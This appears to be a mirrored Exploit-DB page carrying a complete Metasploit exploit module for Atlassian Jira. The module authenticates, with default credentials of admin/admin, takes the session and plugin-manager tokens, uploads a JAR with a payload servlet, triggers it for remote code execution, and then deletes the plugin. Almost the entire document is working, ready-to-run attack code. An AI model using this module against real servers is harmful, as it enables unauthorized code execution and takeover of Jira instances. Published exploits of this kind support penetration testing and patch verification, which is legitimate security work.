Atlassian Jira – (Authenticated) Upload Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-11-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45851/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Atlassian Jira Authenticated Upload Code Execution',
    'Description' => %q{
    This module can be used to execute a payload on Atlassian Jira via
    the Universal Plugin Manager(UPM). The module requires valid login
    credentials to an account that has access to the plugin manager.
    The payload is uploaded as a JAR archive containing a servlet using
    a POST request against the UPM component. The check command will
    test the validity of user supplied credentials and test for access
    to the plugin manager.
    },
    'Author'=> 'Alexander Gonzalez(dubfr33)',
    'License' => MSF_LICENSE,
    'References'=>
    [
    ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
    ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
    ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
    ],
    'Platform'=> %w[java],
    'Targets' =>
    [
    ['Java Universal',
    {
    'Arch' => ARCH_JAVA,
    'Platform' => 'java'
    }
    ]
    ],
    'DisclosureDate' => 'Feb 22 2018'))
    
    register_options(
    [
    Opt::RPORT(2990),
    OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
    OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
    OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
    ])
    end
    
    def check
    login_res = query_login
    if login_res.nil?
    vprint_error('Unable to access the web application!')
    return CheckCode::Unknown
    end
    return CheckCode::Unknown unless login_res.code == 200
    @session_id = get_sid(login_res)
    @xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
    auth_res = do_auth
    good_sid = get_sid(auth_res)
    good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
    res = query_upm(good_cookie)
    if res.nil?
    vprint_error('Unable to access the web application!')
    return CheckCode::Unknown
    elsif res.code == 200
    return Exploit::CheckCode::Appears
    else
    vprint_status('Something went wrong, make sure host is up and options are correct!')
    vprint_status("HTTP Response Code: #{res.code}")
    return Exploit::CheckCode::Unknown
    end
    end
    
    def exploit
    unless access_login?
    fail_with(Failure::Unknown, 'Unable to access the web application!')
    end
    print_status('Retrieving Session ID and XSRF token...')
    auth_res = do_auth
    good_sid = get_sid(auth_res)
    good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
    res = query_for_upm_token(good_cookie)
    if res.nil?
    fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
    end
    upm_token = res.headers['upm-token']
    upload_exec(upm_token, good_cookie)
    end
    
    # Upload, execute, and remove servlet
    def upload_exec(upm_token, good_cookie)
    contents = ''
    name = Rex::Text.rand_text_alpha(8..12)
    
    atlassian_plugin_xml = %Q{
    <atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
    <plugin-info>
    <description></description>
    <version>1.0</version>
    <vendor name="" url="" />
    
    <param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
    <param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>
    
    </plugin-info>
    
    <servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
    <description>"#{name}"</description>
    <url-pattern>/metasploit/PayloadServlet</url-pattern>
    </servlet>
    
    </atlassian-plugin>
    }
    
    # Generates .jar file for upload
    zip = payload.encoded_jar
    zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
    
    servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
    zip.add_file('/metasploit/PayloadServlet.class', servlet)
    
    contents = zip.pack
    
    boundary = rand_text_numeric(27)
    
    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
    data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}--"
    
    print_status("Attempting to upload #{name}")
    res = send_request_cgi({
    'uri'=> normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
    'vars_get' =>
    {
    'token'=> "#{upm_token}"
    },
    'method' => 'POST',
    'data' => data,
    'headers'=>
    {
    'Content-Type' => 'multipart/form-data; boundary=' + boundary,
    'Cookie' => good_cookie.to_s
    }
    }, 25)
    
    unless res && res.code == 202
    print_status("Error uploading #{name}")
    print_status("HTTP Response Code: #{res.code}")
    print_status("Server Response: #{res.body}")
    return
    end
    
    print_status("Successfully uploaded #{name}")
    print_status("Executing #{name}")
    Rex::ThreadSafe.sleep(3)
    send_request_cgi({
    'uri'=> normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
    'method' => 'GET',
    'cookie' => good_cookie.to_s
    })
    
    print_status("Deleting #{name}")
    send_request_cgi({
    'uri'=> normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
    'method' => 'DELETE',
    'cookie' => good_cookie.to_s
    })
    end
    
    def access_login?
    res = query_login
    if res.nil?
    fail_with(Failure::Unknown, 'Unable to access the web application!')
    end
    return false unless res && res.code == 200
    @session_id = get_sid(res)
    @xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
    return true
    end
    
    # Sends GET request to login page so the HTTP response can be used
    def query_login
    send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
    end
    
    # Queries plugin manager to verify access
    def query_upm(good_cookie)
    send_request_cgi({
    'uri'=> normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
    'method' => 'GET',
    'cookie' => good_cookie.to_s
    })
    end
    
    # Queries API for response containing upm_token
    def query_for_upm_token(good_cookie)
    send_request_cgi({
    'uri'=> normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
    'method' => 'GET',
    'cookie' => good_cookie.to_s
    })
    end
    
    # Authenticates to webapp with user supplied credentials
    def do_auth
    send_request_cgi({
    'uri'=> normalize_uri(target_uri.path.to_s, 'login.jsp'),
    'method' => 'POST',
    'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
    'vars_post'=> {
    'os_username'=> datastore['HttpUsername'],
    'os_password'=> datastore['HttpPassword'],
    'os_destination' => '',
    'user_role'=> '',
    'atl_token'=> '',
    'login'=> 'Log+In'
    }
    })
    end
    
    # Finds SID from HTTP response headers
    def get_sid(res)
    if res.nil?
    return '' if res.blank?
    end
    res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
    end
    end